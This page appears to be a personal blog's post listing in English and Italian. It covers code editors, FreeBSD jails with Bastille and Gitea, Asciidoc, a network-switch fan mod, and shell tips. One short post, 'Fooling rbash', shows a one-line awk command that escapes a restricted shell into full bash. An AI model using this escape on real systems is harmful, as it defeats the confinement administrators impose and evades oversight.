Skip to content

C o s e

cretox

  • Info

Author: cretox

A short journey towards the field of lesser-known code editors

Posted on 02/10/2024 by cretox

laptop displaying programming software

A.K.A: The endless research for the perfect (01) code editor (potentially IDE)

My journey began years ago when the programming part of my job wanted to be more pressing in some way.
Anyway I’ve been a “script guy” since forever: mostly Bash, Python, Ruby, Markdown, Asciidoc

My path has been something like this (chronologically speaking):

  • Brackets
    By Adobe; Electron app (I think); not lightweight (02); now discontinued; forks: Brackets.io
    I’ve used briefly Adobe Brackets a log time ago (~8 years?) right before I’ve discovered that everybody used Atom, so I made the switch.
  • Atom
    By the Github guys; lots of plugins; nice to use if I don’t install too many plugins; Electron app; not lightweight; now discontinued; forks: Pulsar
    Atom was almost perfect even though it has always eaten my RAM, but at the time I had a gaming laptop with 16GB of memory and Linux so I did not notice it to much
    Eventually, news appeared about Atom to be discontinued so I began searching a new candidate and I landed on VSCode in the VSCodium variant.
  • VSCodium
    Built against VSCode source and binary released under MIT license; lots of plugins; nice to use if I don’t install too many plugins; Electron app; not lightweight; less likely to phone home (main app telemetry is disabled but it is not always the case for plugins they said).
    Years passed but sadly the memory of my laptop shrinked to 8GB (the magic of benefits administration!) so it became a bottleneck.
    On first OOM murder I decided that I didn’t want to run browsers other than the app I used to surf the internet and the one to read emails (oh and the other one for the meetings).

So I started searching for an editor that was: free and open source, lightweight but not too minimal, extensible and with a GUI, still active as a project.

  • Geany
    I used it shortly as I didn’t like the interface at all :-(
  • Gedit
    The basic editor of the GNOME DE, I ran Xfce at the time so it almost fitted.
    Interface was clean enough and almost pleasant to use for my needs.
    But Python appeared at my job so I needed a code editor with better integrated linting/code snippets/completions ecc.
    In the end I turned to a more hardcore solution: vi… ehm vim, no no it was Neovim!
  • Neovim
    Super lightweight; lots and lots of plugins; needs to be configured carefully
    I did not configure it from the ground up (no time!) but I used a tool which did it for me (LazyVim).
    It has sane defaults, IIRC I edited only some shortcuts and something related to Black.
    Albeit it has no GUI, I used it for months and I was thinking it was Final.
    One day it broke after some plugin update, I can’t remember which one but I do remember the error was clear in no way at first glance.
    I fixed it somehow. It broke another couple of times (not the editor itself but some plugin), it gave me a true sense of instability which I didn’t need.
    Next.

Was it so difficult to have more RAM? Yes.
Was it so difficult to have a decent editor? I still do not know as today.
Let’s try with some obscure/unknown/niche projects…

  • Lite XL
    Fork of Lite; super lightweight and fast, easily extensible via LUA.
    This was a surprise but the interface and minor bugs put me off (word wrapping, git integration).
    Anyway it is a very good editor.
  • Pragtical
    Fork of Lite XL; same feelings as about Lite XL.
  • Lapce
    Written in Rust (so it has to be good! \s), like Lite XL it’s very lightweight.
    It seems not there yet but it’s very promising.
  • Pulsar
    Atom is back but but… here we go again, my free memory is gone!
  • Theia IDE
    Wow is this VSCode again? Comparison to VSCode
  • Zed (Ok not so unknown nowadays)
    By a former developer of Atom; young compared to other mainstream editors; lightweight; too centered on Github Copilot (can be disabled); not so many plugins; clean interface
    I really like it but the fact that I failed to run it in a VM (it needs direct access to GPU somehow) it’s a no-go for me.
  • Kate
    The advanced editor from KDE. It stays between Kwrite (basic) and Kdevelop (full IDE).
    Written in C++, can run external tools via keyboard shortcuts.
    For scripting and small programs it’s very good. It’s very configurable and supports LSP via official plugin.
    The interface can be reduced to the minimum: vertical toolbar on the left (filesystem, git, symbols, ecc), tabs bar, status bar, hidden main menu.

I’m trying to stick with Kate at the moment as I can’t found big issues with her.


Notes:

  1. Not really?
  2. Compared to a browser

Posted in FLOSS, techTagged editor, ide, journey, perfection

Put the fun back into self-hosting with FreeBSD and jails

Posted on 11/07/2023 by cretox

Put the fun back into self-hosting with FreeBSD and jails

[Ita, Eng N/A]

Intro

“Self-hosting” inteso come fornire servizi (per se stessi o persone amiche) da un computer o server di cui si ha il completo controllo (hardware, software).
Esempio di servizi possono essere: sito/blog, istanza pleroma/mastodon, server xmpp, repository codice, archiviazione/condivisione file, ecc…
Questi servizi possono essere limitati alla rete lan o wifi locale oppure esposti su Internet per essere raggiungibili anche quando non si è in casa.

Fare self-hosting richiede tempo ma può essere una cosa meravigliosa se pensiamo che stiamo evitando di fornire i nostri dati a grandi multinazionali che lucrano proprio su queste informazioni!

Installazione

Una volta recuperato l’hardware, ad esempio un vecchio PC, possiamo seguire i passaggi di installazione descritti qui: Chapter 2. Installing FreeBSD
In pratica:

  • Download dell’immagine, io sceglierei la “-memstick.img” da https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/13.2/ per la versione 13.2
  • Scrittura dell’immagine su una chiavetta USB
  • Boot del PC dalla chiavetta
  • Installazione
  • Avvio di FreeBSD da disco

I passaggi di installazione sono abbastanza semplici, per certi versi più semplici dell’installazione di Debian.
Hint: usa zfs
Per quanto riguarda i componenti opzionali se non si hanno necessità particolari, io sceglierei solo “lib32” e “ports”, o forse anche solo quest’ultimo.
Per quanto riguarda invece i servizi da attivare, prenderei solo “sshd”, “ntpd” e “powerd”.

Per chi ha un background Linux-centrico, questa pagina riassume le principali differenze tra FreeBSD e Linux in generale: FreeBSD Quickstart Guide for Linux® Users

Fun

La parte divertente inizia accendendo i servizi da offrire in rete.
Siccome dobbiamo farlo in modo sicuro, non li installiamo direttamente nel sistema operativo ma li isoliamo in modo tale che, se un servizio dovesse essere compromesso, non venga compromesso tutto il server, o comunque cerchiamo di rendere la vita difficile alle persone malintenzionate.

Su FreeBSD uno dei modi per isolare un servizio dal resto del sistema è l’uso di una “jail” (Chapter 17. Jails), anche se il nome ci sta molto antipatico :-(
Le jail si basano su concetti simili a quelli dei container su Linux.

Uno degli strumenti più in voga per amministrare le jail (possiamo farne quante ne vogliamo, ad esempio una per servizio o gruppo di servizi) è Bastille.

Preparazione di Bastille:

server> pkg install bastille
server> sysrc bastille_enable=YES
server> sysrc cloned_interfaces="lo1"
server> sysrc ifconfig_lo1_name="bastille0"
server> service netif cloneup

Modifica del file “/usr/local/etc/bastille/bastille.conf”, questo è il mio:

bastille_prefix="/bastille" 
bastille_backupsdir="${bastille_prefix}/backups" 
bastille_cachedir="${bastille_prefix}/cache" 
bastille_jailsdir="${bastille_prefix}/jails" 
bastille_releasesdir="${bastille_prefix}/releases" 
bastille_templatesdir="${bastille_prefix}/templates" 
bastille_logsdir="/var/log/bastille" 
bastille_sharedir="/usr/local/share/bastille" 
bastille_bootstrap_archives="base ports" 
bastille_tzdata="" 
bastille_resolv_conf="/etc/resolv.conf" 
bastille_url_freebsd="http://ftp.freebsd.org/pub/FreeBSD/releases/" 
bastille_url_hardenedbsd="http://installer.hardenedbsd.org/pub/hardenedbsd/" 
bastille_url_midnightbsd="https://www.midnightbsd.org/ftp/MidnightBSD/releases/" 
bastille_zfs_enable="YES" 
bastille_zfs_zpool="zroot" 
bastille_zfs_prefix="bastille" 
bastille_zfs_options="-o compress=lz4 -o atime=off" 
bastille_compress_xz_options="-0 -v" 
bastille_decompress_xz_options="-c -d -v" 
bastille_compress_gz_options="-1 -v" 
bastille_decompress_gz_options="-k -d -c -v" 
bastille_network_loopback="bastille0" 
bastille_network_shared="" 
bastille_network_gateway="" 
bastille_network_gateway6="" 
bastille_template_base="default/base" 
bastille_template_empty="" 
bastille_template_thick="default/thick" 
bastille_template_clone="default/clone" 
bastille_template_thin="default/thin" 
bastille_template_vnet="default/vnet"

Installazione template base (scelgo di usare la stessa versione FreeBSD del sistema):

server> bastille bootstrap 13.2-RELEASE

Come esempio di servizio, possiamo accendere una jail con Gitea (strumento per appoggiare codice, documentazione, ecc).
Qui “em0” è l’interfaccia di rete fisica del server collegata alla LAN di casa e “10.0.0.10” è un indirizzo IP libero della LAN che sarà assegnato alla jail.

server> bastille create gitea 13.2-RELEASE 10.0.0.10 em0
server> bastille pkg gitea update
server> bastille pkg gitea install ca_root_nss git openssl gitea

Entriamo nella jail per configurare Gitea

server> bastille console gitea

gitea> mkdir -p /data/repos
gitea> chown -R git:git /data/repos
gitea> vi /usr/local/etc/gitea/conf/app.ini

# queste le mie modifiche, il resto invariato:
ROOT = /data/repos
ROOT_URL = http://git.local.lan:3000/
DISABLE_SSH = true
# salva il file con <Esc> :wq

gitea> exit

Finiamo la jail con Bastille:

server> bastille sysrc gitea gitea_enable=YES
server> bastille service gitea gitea start

Teoricamente adesso navigando alla URL http://10.0.0.10:3000/ dovremmo poter accedere all’interfaccia web di Gitea.

The fun is back!

Posted in GeneralTagged freebsd, fun, jails

I love you (ascii)doctor <3

Posted on 19/01/2023 by cretox

Asciidoc[0] è un linguaggio per formattare il testo!
Asciidoctor[1] sono una serie di tool per renderci la vita ancor più leggiadra.

Come Markdown ma molto più esteso.
Quasi come Latex ma molto più usabile.

Outputta verso html e pdf e epub e molto altro!
Ci possiamo scrivere siti, articoli, libri, documenti, ricette.

[0] https://asciidoc.org/
[1] https://asciidoctor.org/

Posted in be happyTagged asciidoc, trucco

Fedintegrazie

Posted on 12/12/2022 by cretox

Ho appicciato il coso per seguire il blog da cose che usano activitypub (vedi mastodon &Co).

Link a lato.

Posted in anvedi

Silence that switch

Posted on 15/06/2016 by cretox

Some time ago I found a somewhat old Netgear Switch.

01_netgear_before
Nice!
  • 24 ports
  • 10/100/1000
  • Managed
  • Double SFP!

Well, the first port is broken :)
And it’s too loud! In our lab we have already a file server and an UPS, powered 24/7.

This is the fan that make so much noise:

02_internal1a

We need a solution to reduce the racket:

  • Reduce the RPM? No, someone told me that there won’t be enough air intake to cool down the heat sinks: those can be very hot!
  • Find another fan, same sizes but more quiet? I’ve could buy one, but we have plenty:

04_ventolame

  • Remove the original fan and apply some new tech :P
03_internal2
Fan, go home. You’re noisy.

 

05_twinfan
Old twin fans, I choose you!

 

06_concept1
This would be a nice mod

The old fan power source is about 5V, but I’ve chosen to not care much as long as the new fans move air.
Pros already love me!

Let’s begin with some tough work.

1. New holes on top

07_hardwork1

08_hardwork2
Metal is hard!

09_hardwork3

10_hardwork4
Done!

 

2. Mounting new fans and cabling

11_cables1

12_cables2

13_cables3

 

3. Results:

14_final1
Farewell nice logo!

15_final2

16_remains

 

Posted in General

Fooling rbash

Posted on 10/03/2016 by cretox
$ echo $SHELL
/bin/rbash
$ /bin/ls
/bin/bash: line 2: /bin/ls: restricted: cannot specify `/' in command names
$ awk 'BEGIN{system("/bin/bash")}'
$ /bin/ls
foo bar misc
$ uname -rm
2.6.18-308.16.1.el5 i686
$ bash --version
GNU bash, version 3.2.25(1)-release (i386-redhat-linux-gnu)
Copyright (C) 2005 Free Software Foundation, Inc.
$ awk --version
GNU Awk 3.1.5
Copyright (C) 1989, 1991-2005 Free Software Foundation.
$ exit
$ 

Posted in General

Emberjs on Debian

Posted on 01/01/2015 by cretox

First, install nodejs and npm from repository.
Then:

sudo update-alternatives --install /usr/bin/node nodejs /usr/bin/nodejs 100
mkdir -p ~/.new-dir
npm config set prefix /path/to/.new-dir
npm install -g ember-cli
PATH="$PATH:/path/to/.new-dir/bin"

Export PATH variable in your bashrc to avoid retyping.
Test with:

ember -v

Posted in General

Best feature ever

Posted on 17/12/2014 by cretox

dict_bestfeature

Best feature ever? Double dictionary check!
Now guess the program.

Posted in anvedi, FLOSS

Stop piping like a Hippo

Posted on 11/11/2014 by cretox

Oooooh:

$ cat list | grep some | awk '{print $1}'

Oh my god, 3 processes, we’re all gonna get a SIGKILL!
Then:

grep 'some' list | awk '{print $1}'

What? Not yet..

awk '/some/{print $1}' list

\é/

And I count my lines with:

grep -c 'some' list

instead of wced-greped-cated

Posted in General

A deeper `ls -l’

Posted on 05/11/2014 - 11/11/2014 by cretox

How nice:

$ alias dls='tree -phugsCD --du'

Add ‘-f’ for more fun!

(Other useful options: ‘-a’, ‘-x’, ‘-L <level>’, ‘- -sort=size’)

Posted in General

Posts navigation

Older posts


Supporta:

Questo weblog esiste ed è visibile sulla rete grazie al Collettivo Autistici/Inventati che offre il servizio e mette a disposizione i mezzi (banda e macchine). Il progetto ha costi notevoli ma vive solo delle donazioni: nessun amministratorə verrà mai a casa tua a chiederti il canone.
Se vuoi che questo blog e la miriade di altri servizi offerti da A/I continuino ad esistere, sarebbe molto carino se impegnassi qualche euro in questo senso. Per fare una donazione, visita questa pagina.


Follow this blog on:

Follow this blog
Proudly powered by WordPress | Theme: micro, developed by DevriX.